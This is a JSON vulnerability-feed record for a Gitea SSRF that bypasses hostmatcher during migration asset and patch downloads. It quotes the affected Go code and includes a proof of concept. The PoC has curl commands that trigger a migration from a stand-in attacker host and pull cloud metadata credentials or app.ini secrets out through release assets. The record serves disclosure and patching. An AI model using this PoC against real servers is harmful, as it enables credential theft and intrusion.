{"schema":"threatline.record/2","record":{"id":"CVE-2026-59765","aliases":["BIT-gitea-2026-34966","CVE-2026-34966","GHSA-2wm4-vwp6-v7xc","GO-2026-6039"],"summary":"Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata","details":"### Summary\n\nGitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go's `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme.\n\n### Vulnerable Code\n\n**File: `modules/uri/uri.go` (line 32) -- Core vulnerability**\n\n```go\nfunc Open(uriStr string) (io.ReadCloser, error) {\n    u, err := url.Parse(uriStr)\n    switch strings.ToLower(u.Scheme) {\n    case \"http\", \"https\":\n        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering\n        return f.Body, nil\n    case \"file\":\n        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme\n    }\n}\n```\n\n**Callers in migration path:**\n- `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets\n- `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches\n\n**File: `services/migrations/dump.go` (lines 312, 453)**\n\n```go\n// Line 312 -- release asset download\nresp, err := http.Get(*asset.DownloadURL)\n\n// Line 453 -- PR patch download (with self-documenting TODO)\nresp, err := http.Get(u) // TODO: This probably needs to use the downloader\n```\n\n**File: `routers/web/auth/oauth.go` (line 306)**\n\n```go\nfunc oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {\n    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher\n```\n\n**Contrast with protected migration clone (same codebase):**\n\n```go\n// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher\ntransport.DialContext = hostmatcher.NewDialContext(\"migration\", allowList, blockList, ...)\n```\n\n### PoC\n\n```bash\n# Step 1: Set up attacker Gitea instance with malicious release asset URLs\n# Create a repo on evil.gitea.attacker.com with a release asset whose\n# download_url points to internal services:\n\n# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role\n# Or: file:///etc/gitea/app.ini (local file read)\n\n# Step 2: Admin triggers migration from attacker's Gitea instance\ncurl -s -X POST \"https://target-gitea.com/api/v1/repos/migrate\" \\\n  -H \"Authorization: token ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"https://evil.gitea.attacker.com/user/repo.git\",\n    \"repo_name\": \"migrated-repo\",\n    \"repo_owner\": \"admin\",\n    \"service\": \"gitea\"\n  }'\n\n# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()\n# Cloud metadata is saved as the release asset attachment in the migrated repo\n# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme\n\n# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data\ncurl -s \"https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt\"\n```\n\n### Impact\n\n- **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens)\n- **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords)\n- **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks\n- **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected\n- Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source","categories":["Libraries & packages"],"product":"code.gitea.io/gitea","vendor":"Gitea","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-2wm4-vwp6-v7xc","source_modified_at":"2026-09-24T15:30:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.gitea.io/gitea"},"range":"< 1.27.0"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-2wm4-vwp6-v7xc","source_modified_at":"2026-09-24T15:30:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"gitea.dev"},"range":"< 1.27.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-59765","source_modified_at":"2026-08-14T19:01:54.065Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"Gitea Open Source Git Server","vendor":"Gitea","versions":[{"lessThanOrEqual":"1.26.4","status":"affected","version":"0","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-2wm4-vwp6-v7xc","source_modified_at":"2026-10-14T11:11:12.586131494Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"code.gitea.io/gitea","ecosystem":"Go","purl":"pkg:golang/code.gitea.io/gitea"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}],"versions":[]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-2wm4-vwp6-v7xc","source_modified_at":"2026-10-14T11:11:12.586131494Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"gitea.dev","ecosystem":"Go","purl":"pkg:golang/gitea.dev"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-2wm4-vwp6-v7xc","source_modified_at":"2026-09-24T15:30:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.gitea.io/gitea"},"version":"1.27.0"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-2wm4-vwp6-v7xc","source_modified_at":"2026-09-24T15:30:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"gitea.dev"},"version":"1.27.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-2wm4-vwp6-v7xc","source_modified_at":"2026-10-14T11:11:12.586131494Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"code.gitea.io/gitea","ecosystem":"Go","purl":"pkg:golang/code.gitea.io/gitea"},"version":"1.27.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-2wm4-vwp6-v7xc","source_modified_at":"2026-10-14T11:11:12.586131494Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"gitea.dev","ecosystem":"Go","purl":"pkg:golang/gitea.dev"},"version":"1.27.0"}],"cvss":6.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00495,"percentile":0.41577,"score_date":"2026-10-23"},"published_at":"2026-08-13T16:44:59.148Z","modified_at":"2026-10-14T11:11:12.586131494Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-2wm4-vwp6-v7xc","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-24T15:30:30Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-59765","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-08-14T19:01:54.065Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-2wm4-vwp6-v7xc","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-14T11:11:12.586131494Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-59765","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0","tags":["release-notes"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59765","source":"GitHub Advisory Database"},{"url":"https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31","source":"GitHub Advisory Database"},{"url":"https://blog.gitea.com/gitea-1.27.0-is-released","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-2wm4-vwp6-v7xc","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://blog.gitea.com/gitea-1.27.0-is-released/","tags":["release-notes"]}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-08-14T19:01:21.902279Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-14T11:11:12.586131494Z","content_hash":"441bdc7b5c7d9a129a1e02ef1561e52c1d354c448528b27fa9bee6a7e1a5f4d1"}}
